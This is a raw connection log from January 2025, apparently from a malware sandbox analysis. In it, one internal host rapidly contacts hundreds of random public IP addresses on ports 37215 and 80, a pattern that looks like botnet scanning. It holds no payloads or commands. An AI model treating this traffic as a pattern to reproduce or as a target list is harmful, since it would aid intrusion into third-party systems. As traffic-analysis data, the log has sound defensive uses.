Jan 5, 2025 14:34:59.062097073 CET	29479	37215	192.168.2.13	156.200.201.213
Jan 5, 2025 14:34:59.062097073 CET	29479	37215	192.168.2.13	197.40.79.46
Jan 5, 2025 14:34:59.062100887 CET	29479	37215	192.168.2.13	41.48.227.116
Jan 5, 2025 14:34:59.062100887 CET	29479	37215	192.168.2.13	156.14.147.223
Jan 5, 2025 14:34:59.062100887 CET	29479	37215	192.168.2.13	41.107.171.14
Jan 5, 2025 14:34:59.062103987 CET	29477	80	192.168.2.13	188.81.153.95
Jan 5, 2025 14:34:59.062104940 CET	29479	37215	192.168.2.13	156.244.63.129
Jan 5, 2025 14:34:59.062128067 CET	29477	80	192.168.2.13	183.141.136.129
Jan 5, 2025 14:34:59.062129021 CET	29479	37215	192.168.2.13	197.207.164.208
Jan 5, 2025 14:34:59.062129021 CET	29479	37215	192.168.2.13	197.50.49.53
Jan 5, 2025 14:34:59.062130928 CET	29479	37215	192.168.2.13	197.43.141.161
Jan 5, 2025 14:34:59.062130928 CET	29477	80	192.168.2.13	133.205.15.17
Jan 5, 2025 14:34:59.062130928 CET	29479	37215	192.168.2.13	197.71.188.94
Jan 5, 2025 14:34:59.062141895 CET	29479	37215	192.168.2.13	156.1.126.45
Jan 5, 2025 14:34:59.062141895 CET	29479	37215	192.168.2.13	156.51.190.51
Jan 5, 2025 14:34:59.062144995 CET	29479	37215	192.168.2.13	156.14.93.161
Jan 5, 2025 14:34:59.062145948 CET	29479	37215	192.168.2.13	197.245.93.176
Jan 5, 2025 14:34:59.062146902 CET	29477	80	192.168.2.13	137.235.61.25
Jan 5, 2025 14:34:59.062146902 CET	29479	37215	192.168.2.13	41.229.215.176
Jan 5, 2025 14:34:59.062146902 CET	29479	37215	192.168.2.13	41.82.110.189
Jan 5, 2025 14:34:59.062155962 CET	29477	80	192.168.2.13	212.197.47.233
Jan 5, 2025 14:34:59.062158108 CET	29477	80	192.168.2.13	160.22.245.226
Jan 5, 2025 14:34:59.062159061 CET	29479	37215	192.168.2.13	156.96.141.160
Jan 5, 2025 14:34:59.062161922 CET	29479	37215	192.168.2.13	156.179.2.34
Jan 5, 2025 14:34:59.062161922 CET	29477	80	192.168.2.13	95.136.95.186
Jan 5, 2025 14:34:59.062165976 CET	29477	80	192.168.2.13	58.172.185.29
Jan 5, 2025 14:34:59.062165976 CET	29479	37215	192.168.2.13	197.226.202.79
Jan 5, 2025 14:34:59.062165976 CET	29479	37215	192.168.2.13	41.162.163.66
Jan 5, 2025 14:34:59.062169075 CET	29479	37215	192.168.2.13	197.217.73.247
Jan 5, 2025 14:34:59.062169075 CET	29477	80	192.168.2.13	145.97.218.62
Jan 5, 2025 14:34:59.062169075 CET	29479	37215	192.168.2.13	197.67.108.135
Jan 5, 2025 14:34:59.062169075 CET	29479	37215	192.168.2.13	156.161.175.102
Jan 5, 2025 14:34:59.062172890 CET	29477	80	192.168.2.13	188.189.36.170
Jan 5, 2025 14:34:59.062185049 CET	29477	80	192.168.2.13	104.119.136.194
Jan 5, 2025 14:34:59.062186956 CET	29477	80	192.168.2.13	113.233.248.212
Jan 5, 2025 14:34:59.062190056 CET	29477	80	192.168.2.13	205.159.92.216
Jan 5, 2025 14:34:59.062190056 CET	29479	37215	192.168.2.13	197.188.142.50
Jan 5, 2025 14:34:59.062190056 CET	29477	80	192.168.2.13	27.187.227.21
Jan 5, 2025 14:34:59.062191010 CET	29479	37215	192.168.2.13	197.87.134.235
Jan 5, 2025 14:34:59.062191010 CET	29479	37215	192.168.2.13	41.90.139.95
Jan 5, 2025 14:34:59.062191010 CET	29477	80	192.168.2.13	185.81.132.38
Jan 5, 2025 14:34:59.062194109 CET	29477	80	192.168.2.13	151.26.14.47
Jan 5, 2025 14:34:59.062194109 CET	29477	80	192.168.2.13	116.112.70.175
Jan 5, 2025 14:34:59.062194109 CET	29479	37215	192.168.2.13	197.234.90.162
Jan 5, 2025 14:34:59.062194109 CET	29479	37215	192.168.2.13	156.78.28.195
Jan 5, 2025 14:34:59.062194109 CET	29479	37215	192.168.2.13	156.129.161.59
Jan 5, 2025 14:34:59.062194109 CET	29477	80	192.168.2.13	155.104.92.167
Jan 5, 2025 14:34:59.062206984 CET	29479	37215	192.168.2.13	156.58.234.157
Jan 5, 2025 14:34:59.062207937 CET	29477	80	192.168.2.13	47.130.0.251
Jan 5, 2025 14:34:59.062206984 CET	29477	80	192.168.2.13	88.33.93.115
Jan 5, 2025 14:34:59.062207937 CET	29479	37215	192.168.2.13	156.243.62.16
Jan 5, 2025 14:34:59.062206984 CET	29477	80	192.168.2.13	156.208.205.53
Jan 5, 2025 14:34:59.062207937 CET	29477	80	192.168.2.13	121.130.204.154
Jan 5, 2025 14:34:59.062210083 CET	29479	37215	192.168.2.13	41.203.123.248
Jan 5, 2025 14:34:59.062208891 CET	29479	37215	192.168.2.13	197.16.238.233
Jan 5, 2025 14:34:59.062210083 CET	29479	37215	192.168.2.13	156.138.38.187
Jan 5, 2025 14:34:59.062208891 CET	29479	37215	192.168.2.13	41.0.209.10
Jan 5, 2025 14:34:59.062208891 CET	29479	37215	192.168.2.13	41.219.222.86
Jan 5, 2025 14:34:59.062217951 CET	29477	80	192.168.2.13	42.124.229.155
Jan 5, 2025 14:34:59.062217951 CET	29479	37215	192.168.2.13	41.170.72.196
Jan 5, 2025 14:34:59.062217951 CET	29479	37215	192.168.2.13	41.240.32.32
Jan 5, 2025 14:34:59.062217951 CET	29479	37215	192.168.2.13	41.28.214.238
Jan 5, 2025 14:34:59.062217951 CET	29479	37215	192.168.2.13	156.99.100.163
Jan 5, 2025 14:34:59.062217951 CET	29477	80	192.168.2.13	75.57.97.26
Jan 5, 2025 14:34:59.062217951 CET	29479	37215	192.168.2.13	156.17.61.137
Jan 5, 2025 14:34:59.062221050 CET	29479	37215	192.168.2.13	156.232.212.61
Jan 5, 2025 14:34:59.062223911 CET	29479	37215	192.168.2.13	156.187.151.44
Jan 5, 2025 14:34:59.062225103 CET	29477	80	192.168.2.13	144.86.212.254
Jan 5, 2025 14:34:59.062226057 CET	29477	80	192.168.2.13	140.135.87.114
Jan 5, 2025 14:34:59.062226057 CET	29477	80	192.168.2.13	207.59.175.251
Jan 5, 2025 14:34:59.062226057 CET	29477	80	192.168.2.13	152.249.77.1
Jan 5, 2025 14:34:59.062226057 CET	29477	80	192.168.2.13	100.219.66.246
Jan 5, 2025 14:34:59.062226057 CET	29477	80	192.168.2.13	207.34.13.43
Jan 5, 2025 14:34:59.062227011 CET	29479	37215	192.168.2.13	156.61.7.182
Jan 5, 2025 14:34:59.062231064 CET	29479	37215	192.168.2.13	156.103.98.156
Jan 5, 2025 14:34:59.062231064 CET	29479	37215	192.168.2.13	197.46.17.231
Jan 5, 2025 14:34:59.062232018 CET	29479	37215	192.168.2.13	197.226.16.3
Jan 5, 2025 14:34:59.062232018 CET	29479	37215	192.168.2.13	197.46.126.43
Jan 5, 2025 14:34:59.062232018 CET	29479	37215	192.168.2.13	156.184.25.214
Jan 5, 2025 14:34:59.062232018 CET	29479	37215	192.168.2.13	156.187.92.16
Jan 5, 2025 14:34:59.062235117 CET	29479	37215	192.168.2.13	156.177.80.6
Jan 5, 2025 14:34:59.062235117 CET	29477	80	192.168.2.13	205.221.219.224
Jan 5, 2025 14:34:59.062235117 CET	29477	80	192.168.2.13	39.73.163.176
Jan 5, 2025 14:34:59.062251091 CET	29479	37215	192.168.2.13	41.84.177.185
Jan 5, 2025 14:34:59.062253952 CET	29477	80	192.168.2.13	60.210.48.5
Jan 5, 2025 14:34:59.062253952 CET	29479	37215	192.168.2.13	156.147.204.25
Jan 5, 2025 14:34:59.062254906 CET	29479	37215	192.168.2.13	156.154.94.167
Jan 5, 2025 14:34:59.062254906 CET	29477	80	192.168.2.13	157.185.247.103
Jan 5, 2025 14:34:59.062256098 CET	29477	80	192.168.2.13	202.172.40.247
Jan 5, 2025 14:34:59.062257051 CET	29479	37215	192.168.2.13	156.114.135.174
Jan 5, 2025 14:34:59.062257051 CET	29477	80	192.168.2.13	223.29.36.201
Jan 5, 2025 14:34:59.062257051 CET	29479	37215	192.168.2.13	197.156.60.188
Jan 5, 2025 14:34:59.062258959 CET	29477	80	192.168.2.13	42.204.141.89
Jan 5, 2025 14:34:59.062258959 CET	29479	37215	192.168.2.13	156.134.243.105
Jan 5, 2025 14:34:59.062258959 CET	29477	80	192.168.2.13	92.31.50.7
Jan 5, 2025 14:34:59.062258959 CET	29479	37215	192.168.2.13	41.123.2.233
Jan 5, 2025 14:34:59.062258959 CET	29479	37215	192.168.2.13	197.20.161.15
Jan 5, 2025 14:34:59.062258959 CET	29479	37215	192.168.2.13	197.200.206.186
Jan 5, 2025 14:34:59.062258959 CET	29479	37215	192.168.2.13	197.93.228.181
Jan 5, 2025 14:34:59.062266111 CET	29477	80	192.168.2.13	171.55.220.9
Jan 5, 2025 14:34:59.062266111 CET	29477	80	192.168.2.13	66.115.160.156
Jan 5, 2025 14:34:59.062266111 CET	29479	37215	192.168.2.13	41.71.241.10
Jan 5, 2025 14:34:59.062269926 CET	29479	37215	192.168.2.13	156.228.116.104
Jan 5, 2025 14:34:59.062269926 CET	29479	37215	192.168.2.13	41.165.118.231
Jan 5, 2025 14:34:59.062269926 CET	29479	37215	192.168.2.13	156.203.105.143
Jan 5, 2025 14:34:59.062269926 CET	29477	80	192.168.2.13	182.84.16.59
Jan 5, 2025 14:34:59.062269926 CET	29477	80	192.168.2.13	31.50.33.220
Jan 5, 2025 14:34:59.062269926 CET	29479	37215	192.168.2.13	41.159.208.138
Jan 5, 2025 14:34:59.062272072 CET	29479	37215	192.168.2.13	41.36.238.231
Jan 5, 2025 14:34:59.062272072 CET	29477	80	192.168.2.13	90.135.250.60
Jan 5, 2025 14:34:59.062269926 CET	29479	37215	192.168.2.13	41.56.151.229
Jan 5, 2025 14:34:59.062272072 CET	29477	80	192.168.2.13	137.236.56.200
Jan 5, 2025 14:34:59.062269926 CET	29479	37215	192.168.2.13	156.251.43.4
Jan 5, 2025 14:34:59.062269926 CET	29477	80	192.168.2.13	135.155.137.128
Jan 5, 2025 14:34:59.062278032 CET	29479	37215	192.168.2.13	197.31.4.51
Jan 5, 2025 14:34:59.062278032 CET	29479	37215	192.168.2.13	156.204.218.52
Jan 5, 2025 14:34:59.062278032 CET	29477	80	192.168.2.13	18.87.34.114
Jan 5, 2025 14:34:59.062295914 CET	29477	80	192.168.2.13	68.249.98.208
Jan 5, 2025 14:34:59.062295914 CET	29479	37215	192.168.2.13	197.246.26.120
Jan 5, 2025 14:34:59.062298059 CET	29479	37215	192.168.2.13	41.20.216.5
Jan 5, 2025 14:34:59.062298059 CET	29477	80	192.168.2.13	129.62.67.206
Jan 5, 2025 14:34:59.062299967 CET	29477	80	192.168.2.13	57.205.131.200
Jan 5, 2025 14:34:59.062302113 CET	29477	80	192.168.2.13	157.202.158.127
Jan 5, 2025 14:34:59.062299967 CET	29477	80	192.168.2.13	18.213.195.2
Jan 5, 2025 14:34:59.062303066 CET	29477	80	192.168.2.13	155.179.250.211
Jan 5, 2025 14:34:59.062299967 CET	29477	80	192.168.2.13	41.179.158.104
Jan 5, 2025 14:34:59.062304020 CET	29477	80	192.168.2.13	45.117.166.146
Jan 5, 2025 14:34:59.062310934 CET	29477	80	192.168.2.13	78.87.205.65
Jan 5, 2025 14:34:59.062320948 CET	29477	80	192.168.2.13	92.108.244.11
Jan 5, 2025 14:34:59.062326908 CET	29477	80	192.168.2.13	77.0.9.174
Jan 5, 2025 14:34:59.062329054 CET	29477	80	192.168.2.13	198.69.77.127
Jan 5, 2025 14:34:59.062330008 CET	29477	80	192.168.2.13	178.66.222.182
Jan 5, 2025 14:34:59.062347889 CET	29477	80	192.168.2.13	184.72.144.99
Jan 5, 2025 14:34:59.062347889 CET	29477	80	192.168.2.13	155.91.155.55
Jan 5, 2025 14:34:59.062350035 CET	29477	80	192.168.2.13	207.57.13.198
Jan 5, 2025 14:34:59.062351942 CET	29477	80	192.168.2.13	222.132.185.238
Jan 5, 2025 14:34:59.062355995 CET	29477	80	192.168.2.13	91.211.53.191
Jan 5, 2025 14:34:59.062376976 CET	29477	80	192.168.2.13	151.161.229.149
Jan 5, 2025 14:34:59.062376976 CET	29477	80	192.168.2.13	184.17.244.166
Jan 5, 2025 14:34:59.062376976 CET	29477	80	192.168.2.13	145.137.196.185
Jan 5, 2025 14:34:59.062377930 CET	29477	80	192.168.2.13	219.5.7.227
Jan 5, 2025 14:34:59.062392950 CET	29477	80	192.168.2.13	59.1.5.117
Jan 5, 2025 14:34:59.062395096 CET	29477	80	192.168.2.13	39.193.125.142
Jan 5, 2025 14:34:59.062407017 CET	29477	80	192.168.2.13	65.69.78.57
Jan 5, 2025 14:34:59.062412024 CET	29477	80	192.168.2.13	77.253.206.8
Jan 5, 2025 14:34:59.062412977 CET	29477	80	192.168.2.13	111.225.41.204
Jan 5, 2025 14:34:59.062424898 CET	29477	80	192.168.2.13	68.9.34.174
Jan 5, 2025 14:34:59.062437057 CET	29477	80	192.168.2.13	104.97.148.143
Jan 5, 2025 14:34:59.062437057 CET	29477	80	192.168.2.13	190.152.202.1
Jan 5, 2025 14:34:59.062438965 CET	29477	80	192.168.2.13	60.174.123.157
Jan 5, 2025 14:34:59.062443972 CET	29477	80	192.168.2.13	137.137.204.232
Jan 5, 2025 14:34:59.062450886 CET	29477	80	192.168.2.13	189.140.222.83
Jan 5, 2025 14:34:59.062453032 CET	29477	80	192.168.2.13	136.98.172.106
Jan 5, 2025 14:34:59.062457085 CET	29477	80	192.168.2.13	165.69.56.81
Jan 5, 2025 14:34:59.062467098 CET	29477	80	192.168.2.13	111.221.86.16
Jan 5, 2025 14:34:59.062467098 CET	29477	80	192.168.2.13	13.0.22.249
Jan 5, 2025 14:34:59.062467098 CET	29477	80	192.168.2.13	206.80.238.124
Jan 5, 2025 14:34:59.062484026 CET	29477	80	192.168.2.13	203.194.100.220
Jan 5, 2025 14:34:59.062484026 CET	29477	80	192.168.2.13	83.209.30.234
Jan 5, 2025 14:34:59.062490940 CET	29477	80	192.168.2.13	8.52.52.101
Jan 5, 2025 14:34:59.062495947 CET	29477	80	192.168.2.13	108.70.234.85
Jan 5, 2025 14:34:59.062498093 CET	29477	80	192.168.2.13	95.42.175.48
Jan 5, 2025 14:34:59.062498093 CET	29477	80	192.168.2.13	174.32.252.15
Jan 5, 2025 14:34:59.062505960 CET	29477	80	192.168.2.13	196.64.125.76
Jan 5, 2025 14:34:59.062524080 CET	29477	80	192.168.2.13	73.201.27.164
Jan 5, 2025 14:34:59.062531948 CET	29477	80	192.168.2.13	115.229.197.7
Jan 5, 2025 14:34:59.062536001 CET	29477	80	192.168.2.13	185.170.132.84
Jan 5, 2025 14:34:59.062546968 CET	29477	80	192.168.2.13	134.203.141.109
Jan 5, 2025 14:34:59.062546968 CET	29477	80	192.168.2.13	2.109.121.73
Jan 5, 2025 14:34:59.062546968 CET	29477	80	192.168.2.13	208.220.248.5
Jan 5, 2025 14:34:59.062550068 CET	29477	80	192.168.2.13	71.71.138.28
Jan 5, 2025 14:34:59.062552929 CET	29477	80	192.168.2.13	44.32.159.142
Jan 5, 2025 14:34:59.062553883 CET	29477	80	192.168.2.13	164.40.165.99
Jan 5, 2025 14:34:59.062561035 CET	29477	80	192.168.2.13	118.66.158.219
Jan 5, 2025 14:34:59.062571049 CET	29477	80	192.168.2.13	169.192.57.113
Jan 5, 2025 14:34:59.062572956 CET	29477	80	192.168.2.13	20.182.169.226
Jan 5, 2025 14:34:59.062577009 CET	29477	80	192.168.2.13	35.204.8.74
Jan 5, 2025 14:34:59.062577963 CET	29477	80	192.168.2.13	72.237.230.191
Jan 5, 2025 14:34:59.062577963 CET	29477	80	192.168.2.13	165.204.151.203
Jan 5, 2025 14:34:59.062578917 CET	29477	80	192.168.2.13	46.103.255.25
Jan 5, 2025 14:34:59.062580109 CET	29477	80	192.168.2.13	156.36.160.45
Jan 5, 2025 14:34:59.062582016 CET	29477	80	192.168.2.13	47.158.6.100
Jan 5, 2025 14:34:59.062586069 CET	29477	80	192.168.2.13	188.147.64.148
Jan 5, 2025 14:34:59.062592030 CET	29477	80	192.168.2.13	46.147.159.41
Jan 5, 2025 14:34:59.062602043 CET	29477	80	192.168.2.13	135.87.19.71
Jan 5, 2025 14:34:59.062613964 CET	29477	80	192.168.2.13	118.193.108.186
Jan 5, 2025 14:34:59.062625885 CET	29477	80	192.168.2.13	68.164.89.68
Jan 5, 2025 14:34:59.062625885 CET	29477	80	192.168.2.13	184.126.217.212
Jan 5, 2025 14:34:59.062628984 CET	29477	80	192.168.2.13	153.229.33.90
Jan 5, 2025 14:34:59.062628984 CET	29477	80	192.168.2.13	138.113.186.192
Jan 5, 2025 14:34:59.062630892 CET	29477	80	192.168.2.13	40.2.251.209
Jan 5, 2025 14:34:59.062630892 CET	29477	80	192.168.2.13	118.146.123.222
Jan 5, 2025 14:34:59.062642097 CET	29477	80	192.168.2.13	45.212.133.64
Jan 5, 2025 14:34:59.062645912 CET	29477	80	192.168.2.13	158.243.191.20
Jan 5, 2025 14:34:59.062649012 CET	29477	80	192.168.2.13	19.215.79.47
Jan 5, 2025 14:34:59.062649012 CET	29477	80	192.168.2.13	83.89.100.172
Jan 5, 2025 14:34:59.062653065 CET	29477	80	192.168.2.13	144.131.145.150
Jan 5, 2025 14:34:59.062659025 CET	29477	80	192.168.2.13	223.62.224.66
Jan 5, 2025 14:34:59.062668085 CET	29477	80	192.168.2.13	91.227.65.150
Jan 5, 2025 14:34:59.062668085 CET	29477	80	192.168.2.13	83.80.59.106
Jan 5, 2025 14:34:59.062670946 CET	29477	80	192.168.2.13	66.1.26.195
Jan 5, 2025 14:34:59.062670946 CET	29477	80	192.168.2.13	93.26.140.201
Jan 5, 2025 14:34:59.062684059 CET	29477	80	192.168.2.13	110.29.247.46
Jan 5, 2025 14:34:59.062688112 CET	29477	80	192.168.2.13	43.99.53.253
Jan 5, 2025 14:34:59.062684059 CET	29477	80	192.168.2.13	18.117.54.83
Jan 5, 2025 14:34:59.062697887 CET	29477	80	192.168.2.13	38.138.178.113
Jan 5, 2025 14:34:59.062704086 CET	29477	80	192.168.2.13	73.109.67.118
Jan 5, 2025 14:34:59.062705040 CET	29477	80	192.168.2.13	90.90.96.101
Jan 5, 2025 14:34:59.062716007 CET	29477	80	192.168.2.13	193.172.186.39
Jan 5, 2025 14:34:59.062716961 CET	29477	80	192.168.2.13	135.9.52.240
Jan 5, 2025 14:34:59.062721014 CET	29477	80	192.168.2.13	36.150.208.164
Jan 5, 2025 14:34:59.062730074 CET	29477	80	192.168.2.13	132.115.30.182
Jan 5, 2025 14:34:59.062737942 CET	29477	80	192.168.2.13	107.113.240.233
Jan 5, 2025 14:34:59.062889099 CET	60980	80	192.168.2.13	149.218.144.175
Jan 5, 2025 14:34:59.062889099 CET	60980	80	192.168.2.13	149.218.144.175
Jan 5, 2025 14:34:59.065846920 CET	32908	80	192.168.2.13	149.218.144.175
Jan 5, 2025 14:34:59.066183090 CET	80	29477	123.54.183.241	192.168.2.13
Jan 5, 2025 14:34:59.066194057 CET	80	29477	135.40.7.85	192.168.2.13
Jan 5, 2025 14:34:59.066205025 CET	80	29477	133.206.206.122	192.168.2.13
Jan 5, 2025 14:34:59.066216946 CET	80	29477	78.155.255.230	192.168.2.13
Jan 5, 2025 14:34:59.066224098 CET	29477	80	192.168.2.13	123.54.183.241
Jan 5, 2025 14:34:59.066229105 CET	37215	29479	197.78.8.202	192.168.2.13
Jan 5, 2025 14:34:59.066241980 CET	29477	80	192.168.2.13	135.40.7.85
Jan 5, 2025 14:34:59.066242933 CET	29477	80	192.168.2.13	133.206.206.122
Jan 5, 2025 14:34:59.066253901 CET	80	29477	129.167.223.16	192.168.2.13
Jan 5, 2025 14:34:59.066266060 CET	29479	37215	192.168.2.13	197.78.8.202
Jan 5, 2025 14:34:59.066267967 CET	80	29477	106.98.6.182	192.168.2.13
Jan 5, 2025 14:34:59.066272020 CET	29477	80	192.168.2.13	78.155.255.230
Jan 5, 2025 14:34:59.066278934 CET	29477	80	192.168.2.13	129.167.223.16
Jan 5, 2025 14:34:59.066281080 CET	37215	29479	156.245.190.4	192.168.2.13
Jan 5, 2025 14:34:59.066293001 CET	80	29477	4.31.183.181	192.168.2.13
Jan 5, 2025 14:34:59.066302061 CET	29477	80	192.168.2.13	106.98.6.182
Jan 5, 2025 14:34:59.066313982 CET	29479	37215	192.168.2.13	156.245.190.4
Jan 5, 2025 14:34:59.066328049 CET	29477	80	192.168.2.13	4.31.183.181
Jan 5, 2025 14:34:59.066554070 CET	37215	29479	156.232.11.104	192.168.2.13
Jan 5, 2025 14:34:59.066565037 CET	80	29477	196.113.39.196	192.168.2.13
Jan 5, 2025 14:34:59.066576958 CET	37215	29479	156.62.255.186	192.168.2.13
Jan 5, 2025 14:34:59.066587925 CET	80	29477	148.177.12.116	192.168.2.13
Jan 5, 2025 14:34:59.066596985 CET	29477	80	192.168.2.13	196.113.39.196
Jan 5, 2025 14:34:59.066596985 CET	29479	37215	192.168.2.13	156.232.11.104
Jan 5, 2025 14:34:59.066600084 CET	37215	29479	41.136.40.189	192.168.2.13
Jan 5, 2025 14:34:59.066611052 CET	37215	29479	156.75.208.51	192.168.2.13
Jan 5, 2025 14:34:59.066618919 CET	29479	37215	192.168.2.13	156.62.255.186
Jan 5, 2025 14:34:59.066618919 CET	29477	80	192.168.2.13	148.177.12.116
Jan 5, 2025 14:34:59.066627979 CET	37215	29479	156.179.44.151	192.168.2.13
Jan 5, 2025 14:34:59.066636086 CET	29479	37215	192.168.2.13	41.136.40.189
Jan 5, 2025 14:34:59.066657066 CET	80	29477	41.5.201.177	192.168.2.13
Jan 5, 2025 14:34:59.066660881 CET	29479	37215	192.168.2.13	156.75.208.51
Jan 5, 2025 14:34:59.066668034 CET	80	29477	70.145.8.67	192.168.2.13
Jan 5, 2025 14:34:59.066679955 CET	80	29477	204.248.109.44	192.168.2.13
Jan 5, 2025 14:34:59.066689968 CET	29479	37215	192.168.2.13	156.179.44.151
Jan 5, 2025 14:34:59.066693068 CET	37215	29479	156.86.142.141	192.168.2.13
Jan 5, 2025 14:34:59.066701889 CET	29477	80	192.168.2.13	70.145.8.67
Jan 5, 2025 14:34:59.066703081 CET	29477	80	192.168.2.13	41.5.201.177
Jan 5, 2025 14:34:59.066705942 CET	37215	29479	197.175.162.9	192.168.2.13
Jan 5, 2025 14:34:59.066719055 CET	37215	37424	197.97.57.117	192.168.2.13
Jan 5, 2025 14:34:59.066720963 CET	29477	80	192.168.2.13	204.248.109.44
Jan 5, 2025 14:34:59.066729069 CET	29479	37215	192.168.2.13	156.86.142.141
Jan 5, 2025 14:34:59.066731930 CET	80	29477	81.220.130.17	192.168.2.13
Jan 5, 2025 14:34:59.066744089 CET	37215	29479	197.28.77.200	192.168.2.13
Jan 5, 2025 14:34:59.066749096 CET	37424	37215	192.168.2.13	197.97.57.117
Jan 5, 2025 14:34:59.066755056 CET	29479	37215	192.168.2.13	197.175.162.9
Jan 5, 2025 14:34:59.066756964 CET	37215	29479	197.192.252.246	192.168.2.13
Jan 5, 2025 14:34:59.066757917 CET	29477	80	192.168.2.13	81.220.130.17
Jan 5, 2025 14:34:59.066767931 CET	37215	29479	197.83.134.208	192.168.2.13
Jan 5, 2025 14:34:59.066778898 CET	37215	29479	41.125.204.121	192.168.2.13
Jan 5, 2025 14:34:59.066778898 CET	29479	37215	192.168.2.13	197.28.77.200
Jan 5, 2025 14:34:59.066791058 CET	37215	29479	156.161.221.30	192.168.2.13
Jan 5, 2025 14:34:59.066802979 CET	29479	37215	192.168.2.13	197.192.252.246
Jan 5, 2025 14:34:59.066803932 CET	29479	37215	192.168.2.13	197.83.134.208
Jan 5, 2025 14:34:59.066803932 CET	37215	29479	156.50.56.6	192.168.2.13
Jan 5, 2025 14:34:59.066817045 CET	29479	37215	192.168.2.13	41.125.204.121
Jan 5, 2025 14:34:59.066817999 CET	37215	29479	41.130.183.227	192.168.2.13
Jan 5, 2025 14:34:59.066817999 CET	29479	37215	192.168.2.13	156.161.221.30
Jan 5, 2025 14:34:59.066829920 CET	80	29477	159.234.213.235	192.168.2.13
Jan 5, 2025 14:34:59.066840887 CET	29479	37215	192.168.2.13	156.50.56.6
Jan 5, 2025 14:34:59.066845894 CET	37215	42288	197.47.93.30	192.168.2.13
Jan 5, 2025 14:34:59.066857100 CET	29479	37215	192.168.2.13	41.130.183.227
Jan 5, 2025 14:34:59.066867113 CET	37215	38550	41.1.36.164	192.168.2.13
Jan 5, 2025 14:34:59.066875935 CET	29477	80	192.168.2.13	159.234.213.235
Jan 5, 2025 14:34:59.066898108 CET	42288	37215	192.168.2.13	197.47.93.30
Jan 5, 2025 14:34:59.066924095 CET	38550	37215	192.168.2.13	41.1.36.164
Jan 5, 2025 14:34:59.067642927 CET	80	60980	149.218.144.175	192.168.2.13
Jan 5, 2025 14:34:59.068789959 CET	53112	80	192.168.2.13	107.209.39.169
Jan 5, 2025 14:34:59.068789959 CET	53112	80	192.168.2.13	107.209.39.169
Jan 5, 2025 14:34:59.070650101 CET	80	32908	149.218.144.175	192.168.2.13
Jan 5, 2025 14:34:59.070692062 CET	32908	80	192.168.2.13	149.218.144.175
Jan 5, 2025 14:34:59.071683884 CET	53270	80	192.168.2.13	107.209.39.169
Jan 5, 2025 14:34:59.073555946 CET	80	53112	107.209.39.169	192.168.2.13
Jan 5, 2025 14:34:59.077965975 CET	60436	80	192.168.2.13	123.54.183.241
Jan 5, 2025 14:34:59.082748890 CET	80	60436	123.54.183.241	192.168.2.13
Jan 5, 2025 14:34:59.082803965 CET	60436	80	192.168.2.13	123.54.183.241
Jan 5, 2025 14:34:59.084311008 CET	34994	80	192.168.2.13	135.40.7.85
Jan 5, 2025 14:34:59.088141918 CET	47534	80	192.168.2.13	4.72.184.235
Jan 5, 2025 14:34:59.088143110 CET	40186	80	192.168.2.13	162.220.2.172
Jan 5, 2025 14:34:59.088145971 CET	47324	80	192.168.2.13	120.114.84.38
Jan 5, 2025 14:34:59.088148117 CET	35908	37215	192.168.2.13	156.174.170.104
Jan 5, 2025 14:34:59.088149071 CET	54568	80	192.168.2.13	71.104.122.79
Jan 5, 2025 14:34:59.089104891 CET	80	34994	135.40.7.85	192.168.2.13
Jan 5, 2025 14:34:59.089162111 CET	34994	80	192.168.2.13	135.40.7.85
Jan 5, 2025 14:34:59.090512037 CET	39518	80	192.168.2.13	133.206.206.122
Jan 5, 2025 14:34:59.096724987 CET	44430	80	192.168.2.13	78.155.255.230
Jan 5, 2025 14:34:59.103343010 CET	54048	80	192.168.2.13	129.167.223.16
Jan 5, 2025 14:34:59.109548092 CET	52208	80	192.168.2.13	106.98.6.182
Jan 5, 2025 14:34:59.115695953 CET	39910	80	192.168.2.13	4.31.183.181
Jan 5, 2025 14:34:59.120146990 CET	58312	80	192.168.2.13	157.6.177.246
Jan 5, 2025 14:34:59.120150089 CET	33494	80	192.168.2.13	88.190.147.173
Jan 5, 2025 14:34:59.120153904 CET	52890	80	192.168.2.13	134.175.115.219
Jan 5, 2025 14:34:59.121790886 CET	41826	80	192.168.2.13	196.113.39.196
Jan 5, 2025 14:34:59.128040075 CET	59960	80	192.168.2.13	148.177.12.116
Jan 5, 2025 14:34:59.134313107 CET	33006	80	192.168.2.13	41.5.201.177
Jan 5, 2025 14:34:59.140688896 CET	42598	80	192.168.2.13	70.145.8.67
Jan 5, 2025 14:34:59.147267103 CET	49946	80	192.168.2.13	204.248.109.44
Jan 5, 2025 14:34:59.152139902 CET	51016	80	192.168.2.13	79.116.248.55
Jan 5, 2025 14:34:59.153439045 CET	44878	80	192.168.2.13	81.220.130.17
Jan 5, 2025 14:34:59.159395933 CET	57154	80	192.168.2.13	159.234.213.235
Jan 5, 2025 14:34:59.162501097 CET	32908	80	192.168.2.13	149.218.144.175
Jan 5, 2025 14:34:59.162530899 CET	60436	80	192.168.2.13	123.54.183.241
Jan 5, 2025 14:34:59.162530899 CET	60436	80	192.168.2.13	123.54.183.241
Jan 5, 2025 14:34:59.165668011 CET	60464	80	192.168.2.13	123.54.183.241
Jan 5, 2025 14:34:59.168576956 CET	34994	80	192.168.2.13	135.40.7.85
Jan 5, 2025 14:34:59.168576956 CET	34994	80	192.168.2.13	135.40.7.85
Jan 5, 2025 14:34:59.171505928 CET	35022	80	192.168.2.13	135.40.7.85
Jan 5, 2025 14:34:59.184142113 CET	55290	80	192.168.2.13	9.9.137.157
Jan 5, 2025 14:34:59.184144974 CET	47202	80	192.168.2.13	143.71.140.71
Jan 5, 2025 14:34:59.184144974 CET	49134	80	192.168.2.13	205.239.229.243
Jan 5, 2025 14:34:59.184150934 CET	60436	80	192.168.2.13	123.54.183.241
Jan 5, 2025 14:34:59.192173958 CET	34994	80	192.168.2.13	135.40.7.85
Jan 5, 2025 14:34:59.216144085 CET	48472	80	192.168.2.13	213.11.144.146
Jan 5, 2025 14:34:59.216145992 CET	40502	80	192.168.2.13	98.203.60.63
Jan 5, 2025 14:34:59.248147011 CET	46622	80	192.168.2.13	130.175.77.211
Jan 5, 2025 14:34:59.248152971 CET	49742	80	192.168.2.13	109.146.34.96
Jan 5, 2025 14:34:59.276144981 CET	60980	80	192.168.2.13	149.218.144.175
Jan 5, 2025 14:34:59.280142069 CET	52024	80	192.168.2.13	59.179.62.232
Jan 5, 2025 14:34:59.284135103 CET	53112	80	192.168.2.13	107.209.39.169
Jan 5, 2025 14:34:59.297086000 CET	80	60980	149.218.144.175	192.168.2.13
Jan 5, 2025 14:34:59.297100067 CET	80	53112	107.209.39.169	192.168.2.13
Jan 5, 2025 14:34:59.298273087 CET	80	44430	78.155.255.230	192.168.2.13
